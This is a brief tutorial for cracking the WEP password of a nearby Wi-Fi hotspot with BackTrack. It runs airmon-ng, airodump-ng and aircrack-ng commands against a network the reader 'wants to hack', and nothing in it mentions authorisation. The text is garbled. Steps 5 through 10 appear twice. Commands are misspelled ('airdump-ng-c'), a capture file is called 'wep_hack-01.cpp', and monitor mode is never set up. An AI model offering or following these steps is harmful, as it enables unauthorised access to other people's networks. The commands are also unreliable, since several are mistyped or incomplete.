Step 1: Run VMware and open Backtrack iso.
Step 2: Open Shell Consol after start Backtrack.
Step 3: Type airmon-ng and hit enter. It will show you interface, chipset, driver, etc.
Step 4: Type airodump-ng wlan0 and hit enter. Wait a while when it is searching for available connections.
Step 5: You can see a list. Chose a hotspot name you want to hack.
Step 6: Copy the ch value ofyour selected connection. Then type airdump-ng-c andpast ch value just after this.Next to the ch value type –bssid space your bssid number and -w wep_hack wlan0 and press enter.
(Example: airdump-ng-c ch value –bssid 00:1F:9F:73:C0:45 -w wep_hack wlan0)
Step 7: Wait and do not closethe window.
Step 8: If this window has finished then open a new shell console and type dir and hit enter.
Step 9: Type aircrack-ng -a 1 –b and your bssid.
(example: aircrack-ng -a 1 -b 00:1F:9F:73:C0:45 wep_hack-01.cpp)
Step 10: If you have seen this text decrypted correctly 100%, it means you have succesfully done this process.
Step 5: You can see a list. Chose a hotspot name you want to hack.
Step 6: Copy the ch value ofyour selected connection. Then type airdump-ng-c andpast ch value just after this.Next to the ch value type –bssid space your bssid number and -w wep_hack wlan0 and press enter.
(Example: airdump-ng-c ch value –bssid 00:1F:9F:73:C0:45 -w wep_hack wlan0)
Step 7: Wait and do not closethe window.
Step 8: If this window has finished then open a new shell console and type dir and hit enter.
Step 9: Type aircrack-ng -a 1 –b and your bssid.
(example: aircrack-ng -a 1 -b 00:1F:9F:73:C0:45 wep_hack-01.cpp)
Step 10: If you have seen this text decrypted correctly 100%, it means you have succesfully done this process.